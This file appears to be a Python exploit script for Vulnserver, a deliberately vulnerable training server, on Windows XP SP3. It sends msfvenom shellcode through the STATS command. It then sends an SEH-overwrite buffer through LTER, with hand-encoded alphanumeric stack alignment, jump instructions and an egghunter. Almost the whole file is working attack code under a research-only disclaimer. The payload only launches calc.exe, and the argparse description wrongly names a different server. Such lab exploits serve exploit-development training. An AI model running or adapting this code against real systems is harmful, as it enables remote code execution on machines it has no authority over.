'''
	Exploit Scripter: Abhilash Nigam
	Vulnerable Software: Vulnserver 
		Available Here: https://github.com/stephenbradshaw/vulnserver
	Payload: windows/exec CMD=calc.exe
	System Info: Windows XP SP3

	Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems.
				Accessing a computer system or network without authorization or explicit permission is illegal.
'''

import socket
import os
import sys
import argparse
import time

parser = argparse.ArgumentParser(description='Easy File Sharing Web Server Exploit')
parser.add_argument('-t', '--target', action='store', help='IP Address of the target Machine', default="", required=True)
parser.add_argument('-p', '--port', action='store', help='Port Number of the target Machine', default="", required=True, type=int)
args = parser.parse_args()

'''
=======================================================================
Sending final shellcode
=======================================================================
'''
try:
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.connect((args.target, args.port))

	# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00' -v "shellcode"
	shellcode = "OathOath"
	shellcode += b""
	shellcode += b"\xd9\xe1\xd9\x74\x24\xf4\xb8\xd4\x7e\x96\x34"
	shellcode += b"\x5b\x2b\xc9\xb1\x31\x31\x43\x18\x03\x43\x18"
	shellcode += b"\x83\xeb\x28\x9c\x63\xc8\x38\xe3\x8c\x31\xb8"
	shellcode += b"\x84\x05\xd4\x89\x84\x72\x9c\xb9\x34\xf0\xf0"
	shellcode += b"\x35\xbe\x54\xe1\xce\xb2\x70\x06\x67\x78\xa7"
	shellcode += b"\x29\x78\xd1\x9b\x28\xfa\x28\xc8\x8a\xc3\xe2"
	shellcode += b"\x1d\xca\x04\x1e\xef\x9e\xdd\x54\x42\x0f\x6a"
	shellcode += b"\x20\x5f\xa4\x20\xa4\xe7\x59\xf0\xc7\xc6\xcf"
	shellcode += b"\x8b\x91\xc8\xee\x58\xaa\x40\xe9\xbd\x97\x1b"
	shellcode += b"\x82\x75\x63\x9a\x42\x44\x8c\x31\xab\x69\x7f"
	shellcode += b"\x4b\xeb\x4d\x60\x3e\x05\xae\x1d\x39\xd2\xcd"
	shellcode += b"\xf9\xcc\xc1\x75\x89\x77\x2e\x84\x5e\xe1\xa5"
	shellcode += b"\x8a\x2b\x65\xe1\x8e\xaa\xaa\x99\xaa\x27\x4d"
	shellcode += b"\x4e\x3b\x73\x6a\x4a\x60\x27\x13\xcb\xcc\x86"
	shellcode += b"\x2c\x0b\xaf\x77\x89\x47\x5d\x63\xa0\x05\x0b"
	shellcode += b"\x72\x36\x30\x79\x74\x48\x3b\x2d\x1d\x79\xb0"
	shellcode += b"\xa2\x5a\x86\x13\x87\x95\xcc\x3e\xa1\x3d\x89"
	shellcode += b"\xaa\xf0\x23\x2a\x01\x36\x5a\xa9\xa0\xc6\x99"
	shellcode += b"\xb1\xc0\xc3\xe6\x75\x38\xb9\x77\x10\x3e\x6e"
	shellcode += b"\x77\x31\x5d\xf1\xeb\xd9\x8c\x94\x8b\x78\xd1"

	stagger = "STATS "
	stagger += shellcode

	sock.send(stagger)
	sock.close()
except:
	print "[!] Connection failed, check debugger! [!]"

print("[!] Final Shellcode Sent")
print("[!] Preparing to send the Egghunter")
time.sleep(2)

'''
=======================================================================
Setting stage for final shellcode
=======================================================================
'''
try:
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.connect((args.target, args.port))

	# Aligning stack 
	stackAlignment =  ""
	stackAlignment += "\x25\x4A\x4D\x4E\x55"                                #AND EAX,554E4D4A       -> zero out eax
	stackAlignment += "\x25\x35\x32\x31\x2A"                                #AND EAX,2A313235       -> zero out eax
	stackAlignment += "\x2D\x16\x5a\x16\x59"                                #SUB EAX, 0x59165a16    -> Calculating 
	stackAlignment += "\x2D\x17\x53\x18\x53"                                #SUB EAX, 0x53185317    -> Calculating 
	stackAlignment += "\x2D\x17\x53\x18\x53"                                #SUB EAX, 0x53185317    -> Calculating 
	stackAlignment += "\x50"                                                #Push EAX
	stackAlignment += "\x5C"                                                #POP ESP

	#setting the stack to contain instruction JMP EAX
	jumpEAX =  ""
	jumpEAX += "\x25\x4A\x4D\x4E\x55"                               		#AND EAX,554E4D4A       -> zero out eax
	jumpEAX += "\x25\x35\x32\x31\x2A"                               		#AND EAX,2A313235       -> zero out eax
	jumpEAX += "\x2D\x5b\x64\x22\x23"                               		#SUB EAX, 0x2322645b    -> Calculating 
	jumpEAX += "\x2D\x53\x5d\x26\x26"                               		#SUB EAX, 0x26265d53    -> Calculating 
	jumpEAX += "\x2D\x53\x5d\x26\x26"                               		#SUB EAX, 0x26265d53    -> Calculating 
	jumpEAX += "\x50"                                               		#Push EAX

	#Setting the value of EAX to the start of the buffer for JMP EAX. 
	eaxJumpAddress =  ""
	eaxJumpAddress += "\x25\x4A\x4D\x4E\x55"                                #AND EAX,554E4D4A       -> zero out eax
	eaxJumpAddress += "\x25\x35\x32\x31\x2A"                                #AND EAX,2A313235       -> zero out eax
	eaxJumpAddress += "\x2D\x3c\x60\x16\x59"                                #SUB EAX, 0x5916603c    -> Calculating 
	eaxJumpAddress += "\x2D\x44\x56\x18\x53"                                #SUB EAX, 0x53185644    -> Calculating 
	eaxJumpAddress += "\x2D\x44\x57\x18\x53"                                #SUB EAX, 0x53185744    -> Calculating 

	#Aligning stack again after second jump to hold our egghunter.
	stackAlignment2 =  ""
	stackAlignment2 += "\x25\x4A\x4D\x4E\x55"                               #AND EAX,554E4D4A       -> zero out eax
	stackAlignment2 += "\x25\x35\x32\x31\x2A"                               #AND EAX,2A313235       -> zero out eax
	stackAlignment2 += "\x2D\x38\x5e\x16\x59"                               #SUB EAX, 0x59165e38    -> Calculating 
	stackAlignment2 += "\x2D\x3c\x57\x18\x53"                               #SUB EAX, 0x5318573c    -> Calculating 
	stackAlignment2 += "\x2D\x3c\x57\x18\x53"                               #SUB EAX, 0x5318573c    -> Calculating 
	stackAlignment2 += "\x50"                                               #Push EAX
	stackAlignment2 += "\x5C"                                               #POP ESP

	#Alphanumeric Sub Encoded Egghunter. The egg is Oath 
	encodedEggHunter =  ""
	encodedEggHunter += "\x25\x4A\x4D\x4E\x55"                              #AND EAX,554E4D4A       -> zero out eax
	encodedEggHunter += "\x25\x35\x32\x31\x2A"                              #AND EAX,2A313235       -> zero out eax
	encodedEggHunter += "\x2D\x29\x62\x59\x63"                              #SUB EAX, 0x63596229    -> Calculating 
	encodedEggHunter += "\x2D\x31\x5b\x53\x5a"                              #SUB EAX, 0x5a535b31    -> Calculating 
	encodedEggHunter += "\x2D\x31\x5b\x53\x5a"                              #SUB EAX, 0x5a535b31    -> Calculating 
	encodedEggHunter += "\x50"                                              #Push EAX
	encodedEggHunter += "\x25\x4A\x4D\x4E\x55"                              #AND EAX,554E4D4A       -> zero out eax
	encodedEggHunter += "\x25\x35\x32\x31\x2A"                              #AND EAX,2A313235       -> zero out eax
	encodedEggHunter += "\x2D\x1b\x2a\x61\x19"                              #SUB EAX, 0x19612a1b    -> Calculating 
	encodedEggHunter += "\x2D\x1b\x30\x5a\x1b"                              #SUB EAX, 0x1b5a301b    -> Calculating 
	encodedEggHunter += "\x2D\x1b\x30\x5a\x1b"                              #SUB EAX, 0x1b5a301b    -> Calculating 
	encodedEggHunter += "\x50"                                              #Push EAX
	encodedEggHunter += "\x25\x4A\x4D\x4E\x55"                              #AND EAX,554E4D4A       -> zero out eax
	encodedEggHunter += "\x25\x35\x32\x31\x2A"                              #AND EAX,2A313235       -> zero out eax
	encodedEggHunter += "\x2D\x2a\x30\x26\x5b"                              #SUB EAX, 0x5b26302a    -> Calculating 
	encodedEggHunter += "\x2D\x31\x33\x27\x55"                              #SUB EAX, 0x55273331    -> Calculating 
	encodedEggHunter += "\x2D\x31\x34\x27\x55"                              #SUB EAX, 0x55273431    -> Calculating 
	encodedEggHunter += "\x50"                                              #Push EAX
	encodedEggHunter += "\x25\x4A\x4D\x4E\x55"                              #AND EAX,554E4D4A       -> zero out eax
	encodedEggHunter += "\x25\x35\x32\x31\x2A"                              #AND EAX,2A313235       -> zero out eax
	encodedEggHunter += "\x2D\x61\x16\x38\x30"                              #SUB EAX, 0x30381661    -> Calculating 
	encodedEggHunter += "\x2D\x58\x18\x3c\x37"                              #SUB EAX, 0x373c1858    -> Calculating 
	encodedEggHunter += "\x2D\x58\x18\x3c\x37"                              #SUB EAX, 0x373c1858    -> Calculating 
	encodedEggHunter += "\x50"                                              #Push EAX
	encodedEggHunter += "\x25\x4A\x4D\x4E\x55"                              #AND EAX,554E4D4A       -> zero out eax
	encodedEggHunter += "\x25\x35\x32\x31\x2A"                              #AND EAX,2A313235       -> zero out eax
	encodedEggHunter += "\x2D\x3c\x54\x33\x29"                              #SUB EAX, 0x2933543c    -> Calculating 
	encodedEggHunter += "\x2D\x44\x53\x39\x31"                              #SUB EAX, 0x31395344    -> Calculating 
	encodedEggHunter += "\x2D\x44\x53\x39\x31"                              #SUB EAX, 0x31395344    -> Calculating 
	encodedEggHunter += "\x50"                                              #Push EAX
	encodedEggHunter += "\x25\x4A\x4D\x4E\x55"                              #AND EAX,554E4D4A       -> zero out eax
	encodedEggHunter += "\x25\x35\x32\x31\x2A"                              #AND EAX,2A313235       -> zero out eax
	encodedEggHunter += "\x2D\x58\x35\x6a\x41"                              #SUB EAX, 0x416a3558    -> Calculating 
	encodedEggHunter += "\x2D\x53\x39\x64\x47"                              #SUB EAX, 0x47643953    -> Calculating 
	encodedEggHunter += "\x2D\x53\x39\x64\x48"                              #SUB EAX, 0x48643953    -> Calculating 
	encodedEggHunter += "\x50"                                              #Push EAX
	encodedEggHunter += "\x25\x4A\x4D\x4E\x55"                              #AND EAX,554E4D4A       -> zero out eax
	encodedEggHunter += "\x25\x35\x32\x31\x2A"                              #AND EAX,2A313235       -> zero out eax
	encodedEggHunter += "\x2D\x4b\x39\x37\x2d"                              #SUB EAX, 0x2d37394b    -> Calculating 
	encodedEggHunter += "\x2D\x53\x42\x3b\x34"                              #SUB EAX, 0x343b4253    -> Calculating 
	encodedEggHunter += "\x2D\x53\x42\x3b\x34"                              #SUB EAX, 0x343b4253    -> Calculating 
	encodedEggHunter += "\x50"                                              #Push EAX
	encodedEggHunter += "\x25\x4A\x4D\x4E\x55"                              #AND EAX,554E4D4A       -> zero out eax
	encodedEggHunter += "\x25\x35\x32\x31\x2A"                              #AND EAX,2A313235       -> zero out eax
	encodedEggHunter += "\x2D\x30\x28\x6b\x59"                              #SUB EAX, 0x596b2830    -> Calculating 
	encodedEggHunter += "\x2D\x35\x2b\x65\x53"                              #SUB EAX, 0x53652b35    -> Calculating 
	encodedEggHunter += "\x2D\x35\x2b\x65\x53"                              #SUB EAX, 0x53652b35    -> Calculating 
	encodedEggHunter += "\x50"                                              #Push EAX


	buffer = "LTER /.:/"
	buffer += "A" * 10
	buffer += stackAlignment2
	buffer += encodedEggHunter
	buffer += "A" * (3370 - 10 - len(encodedEggHunter) - len(stackAlignment2)) 
	buffer += stackAlignment
	buffer += jumpEAX
	buffer += eaxJumpAddress
	buffer += "A" * (3495 - 3370 - len(stackAlignment) - len(jumpEAX) - len(eaxJumpAddress))
	buffer += "\x43\x75\xff\x43" 											#Address for the next SEH block Address.
	buffer += "\x2b\x17\x50\x62" 											#Address of the SEH block.
	buffer += "D" * (5005 - len(buffer))

	sock.send(buffer)
	sock.close()
except:
	print "[!] Connection failed, check debugger! [!]"

print("[!] Egghunter sent")
